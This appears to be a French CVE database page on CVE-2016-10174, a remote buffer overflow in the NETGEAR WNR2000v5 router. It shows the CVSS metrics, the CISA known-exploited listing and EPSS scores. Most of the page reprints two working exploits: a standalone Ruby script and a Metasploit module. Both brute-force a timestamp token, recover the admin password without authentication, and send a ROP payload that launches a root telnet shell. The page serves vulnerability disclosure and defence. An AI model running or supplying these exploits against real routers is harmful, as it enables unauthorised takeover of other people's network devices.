CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The NETGEAR WNR2000v5 router contains a buffer overflow in the hidden_lang_avi parameter when invoking the URL /apply.cgi?/lang_check.html. This buffer overflow can be exploited by an unauthenticated attacker to achieve remote code execution.
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : NETGEAR WNR2000v5 Router Buffer Overflow Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-24 23h00 +00:00
Action attendue : 2022-04-14 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
84.22%
–
–
2023-03-12
–
–
–
97.05%
–
2023-04-02
–
–
–
97.14%
–
2023-05-07
–
–
–
97.17%
–
2023-06-18
–
–
–
97.15%
–
2023-09-03
–
–
–
97.17%
–
2023-10-15
–
–
–
97.19%
–
2024-02-18
–
–
–
97.17%
–
2024-06-02
–
–
–
97.17%
–
2024-07-21
–
–
–
97.21%
–
2024-09-22
–
–
–
97.15%
–
2024-10-20
–
–
–
97.05%
–
2024-11-24
–
–
–
97.08%
–
2024-12-22
–
–
–
96.76%
–
2024-12-29
–
–
–
96.84%
–
2025-01-26
–
–
–
97%
–
2025-03-02
–
–
–
96.87%
–
2025-01-19
–
–
–
96.84%
–
2025-01-25
–
–
–
97%
–
2025-03-09
–
–
–
96.87%
–
2025-03-18
–
–
–
–
92.29%
2025-03-30
–
–
–
–
91.84%
2025-03-30
–
–
–
–
91.84,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-12-20 23h00 +00:00 Auteur : Pedro Ribeiro EDB Vérifié : No
#
# Remote code execution in NETGEAR WNR2000v5
# - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
# Released on 20/12/2016
#
# NOTE: this exploit is "alpha" quality and has been deprecated. Please see the modules
# accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000
#
#
# TODO:
# - randomise payload
require 'net/http'
require 'uri'
require 'time'
require 'digest'
require 'openssl'
require 'socket'
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
@randtbl =
[
# we omit TYPE_3 from here, not needed
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
]
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
"rand_type" => TYPE_3,
"rand_deg" => DEG_3,
"rand_sep" => SEP_3,
"end_ptr" => DEG_3
}
# Emulate the behaviour of C's srand
def srandom_r (seed)
state = @randtbl
if seed == 0
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
for i in 1..(kc-1)
hi = word / 127773
lo = word % 127773
word = 16807 * lo - 2836 * hi
if (word < 0)
word += 2147483647
end
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
random_r
kc -= 1
end
end
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
fptr = state
rptr += 1
else
rptr += 1
if (rptr >= end_ptr)
rptr = state
end
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
#####################
#####################
# Ruby code ported from https://github.com/insanid/netgear-telenetenable
#
def telnetenable (username, password)
mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,"\x00")
username_pad = username.ljust(0x10, "\x00")
password_pad = password.ljust(0x21, "\x00")
cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")
md5 = Digest::MD5.new
md5.update(cleartext)
payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')
secret_key = "AMBIT_TELNET_ENABLE+" + password
cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
cipher.key_len = secret_key.length
cipher.key = secret_key
cipher.padding = 0
binary_data = (cipher.update(payload) << cipher.final)
s = UDPSocket.new
s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)
end
#####################
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
# Default credentials for the router
USERNAME = "admin"
PASSWORD = "password"
def get_request(uri_str)
uri = URI.parse(uri_str)
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Get.new(uri.request_uri)
request.basic_auth(USERNAME, PASSWORD)
http.request(request)
end
def post_request(uri_str, body)
uri = URI.parse(uri_str)
header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Post.new(uri.request_uri, header)
request.basic_auth(USERNAME, PASSWORD)
request.body = body
http.request(request)
end
def check
response = get_request("http://#{@target}/")
auth = response['WWW-Authenticate']
if auth != nil
if auth =~ /WNR2000v5/
puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
return
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
return
end
end
puts "Router is not vulnerable."
end
def get_password
response = get_request("http://#{@target}/BRS_netgear_success.html")
if response.body =~ /var sn="([\w]*)";/
serial = $1
else
puts "[-]Failed to obtain serial number, bailing out..."
exit(1)
end
# 1: send serial number
response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")
# 2: send answer to secret questions
response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
"submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
# 3: PROFIT!!!
response = get_request("http://#{@target}/passwordrecovered.cgi")
if response.body =~ /Admin Password: (.*)<\/TD>/
password = $1
else
puts "[-] Failed to obtain admin password, bailing out..."
exit(1)
end
if response.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
puts "[-] Failed to obtain admin username, bailing out..."
exit(1)
end
puts "[+] Success! Got admin username #{username} and password #{password}"
return [username, password]
end
def get_current_time
response = get_request("http://#{@target}/")
date = response['Date']
Time.parse(date).strftime('%s').to_i
end
def get_auth_timestamp(mode)
if mode == "bof"
uri_str = "http://#{@target}/lang_check.html"
else
uri_str = "http://#{@target}/PWD_password.htm"
end
response = get_request(uri_str)
if response.code == 401
# try again, might fail the first time
response = get_request(uri_str)
if response.code == 200
if response.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
end
def got_shell
puts "[+] Success, shell incoming!"
exec("telnet #{@target.split(':')[0]}")
end
if ARGV.length < 2
puts "Usage: ./netgearPwn.rb <IP:PORT> <check|bof|telnet <MAC>> [noreboot]"
puts "\tcheck: see if the target is vulnerable"
puts "\tbof: run buffer overflow exploit on the target"
puts "\ttelnet <mac>: run telnet exploit on the target, needs MAC address"
puts "\tnoreboot: optional parameter - don't force a reboot on the target"
exit(1)
end
@target = ARGV[0]
mode = ARGV[1]
if (ARGV.length > 2 && ARGV[2] == "noreboot") || (ARGV.length > 3 && ARGV[3] == "noreboot")
reboot = false
else
reboot = true
end
if mode == "telnet"
if ARGV.length == 3
@mac = ARGV[2]
elsif ARGV.length == 4
@mac = ARGV[3]
else
puts "[-] telnet mode needs MAC address argument!"
exit(-1)
end
end
# Maximum time differential to try
# Look 5000 seconds back for the timestamp with reboot
# 500000 with no reboot
if reboot
TIME_OFFSET = 5000
else
TIME_OFFSET = 500000
end
# Increase this if you're sure the device is vulnerable and you're not getting a shell
TIME_SURPLUS = 200
if mode == "check"
check
exit(0)
end
if mode == "bof"
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
system_offset = 0x547D0
gadget = 0x2462C
libc_base = 0x2ab24000
payload = 'a' * 36 + # filler_1
calc_address(libc_base, system_offset) + # s0
'1111' + # s1
'2222' + # s2
'3333' + # s3
calc_address(libc_base, gadget) + # gadget
'b' * 0x40 + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
# 0: try to see if the default admin username and password are set
timestamp = get_auth_timestamp(mode)
# 1: reboot the router to get it to generate new timestamps
if reboot and timestamp == nil
response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes")
if response.code == "200"
puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..."
sleep 120
puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply."
sleep 60
else
puts "[-] Failed to reboot the router. Bailing out."
exit(-1)
end
puts "[*] Proceeding..."
end
# 2: get the current date from the router and parse it, but only if we are not authenticated...
if timestamp == nil
end_time = get_current_time
if end_time <= TIME_OFFSET
start_time = 0
else
start_time = end_time - TIME_OFFSET
end
end_time += TIME_SURPLUS
if end_time < (TIME_SURPLUS * 7.5).to_i
end_time = (TIME_SURPLUS * 7.5).to_i
end
puts "[+] Got time #{end_time} from router, starting exploitation attempt."
puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)."
end
if mode == "bof"
uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp="
body = "submit_flag=select_language&hidden_lang_avi=#{payload}"
else
uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp="
body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2"
end
# 3: work back from the current router time minus TIME_OFFSET
while true
for time in end_time.downto(start_time)
begin
if timestamp == nil
response = post_request(uri_str + get_timestamp(time).to_s, body)
else
response = post_request(uri_str + timestamp.to_s, body)
end
if response.code == "200"
# this only occurs in the telnet case
credentials = get_password
telnetenable(credentials[0], credentials[1])
sleep 5
got_shell
#puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}"
#puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!"
exit(0)
end
rescue EOFError
if reboot
sleep 0.2
else
# with no reboot we give the router more time to breathe
sleep 0.5
end
begin
s = TCPSocket.new(@target.split(':')[0], 23)
s.close
got_shell
rescue Errno::ECONNREFUSED
if timestamp != nil
# this is the case where we can get an authenticated timestamp but we could not execute code
# IT SHOULD NEVER HAPPEN
# But scream and continue just in case, it means there is a bug
puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code."
puts "[*] Let's try again..."
timestamp = get_auth_timestamp
end
next
end
rescue Net::ReadTimeout
# for bof case, we land here
got_shell
end
end
if timestamp == nil
start_time = end_time - (TIME_SURPLUS * 5)
end_time = end_time + (TIME_SURPLUS * 5)
puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}"
end
end
# If we get here then the exploit failed
puts "[-] Exploit finished. Failed to get a shell!"
Date de publication : 2017-03-23 23h00 +00:00 Auteur : Pedro Ribeiro EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
'Description' => %q{
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
parameter.
In order to exploit it, it is necessary to guess the value of a certain timestamp which
is in the configuration of the router. An authenticated attacker can simply fetch this
from a page, but an unauthenticated attacker has to brute force it.
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module implements both modes, and it works very reliably. It has been tested with
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
revisions v4 and v3, but this has not been tested - with these routers it might be necessary
to adjust the LibcBase variable as well as the gadget addresses.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'References' =>
[
['CVE', '2016-10174'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'Targets' =>
[
[ 'NETGEAR WNR2000v5',
{
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
'SystemOffset' => 0x547D0,
'GadgetOffset' => 0x2462C,
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
#LOAD:00024630 move $t9, $s0
#LOAD:00024634 jalr $t9
'Payload' =>
{
'BadChars' => "\x00\x25\x26",
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 20 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
], self.class)
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /WNR2000v5/
return Exploit::CheckCode::Detected
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
return Exploit::CheckCode::Unknown
end
end
Exploit::CheckCode::Safe
end
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
def get_auth_timestamp
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
if res && res.code == 401
# try again, might fail the first time
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
end
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_payload
rand_text_alpha(36) + # filler_1
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
rand_text_alpha(12) + # s1, s2 and s3
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
rand_text_alpha(0x40) + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/lang_check.html" : \
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
})
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end
def exploit
# 1: try to see if the default admin username and password are set
timestamp = get_auth_timestamp
# 2: now we try two things at once:
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
# no shell? let's just go on and bruteforce the timestamp
# 3: get the current date from the router and parse it
end_time = get_current_time
if end_time.nil?
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
# 2: work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if sock.nil?
next
end
print_status("#{peer} - Success, shell incoming!")
return handler(sock)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
next
end
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
end
start_time = 0
end
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
end
end
end
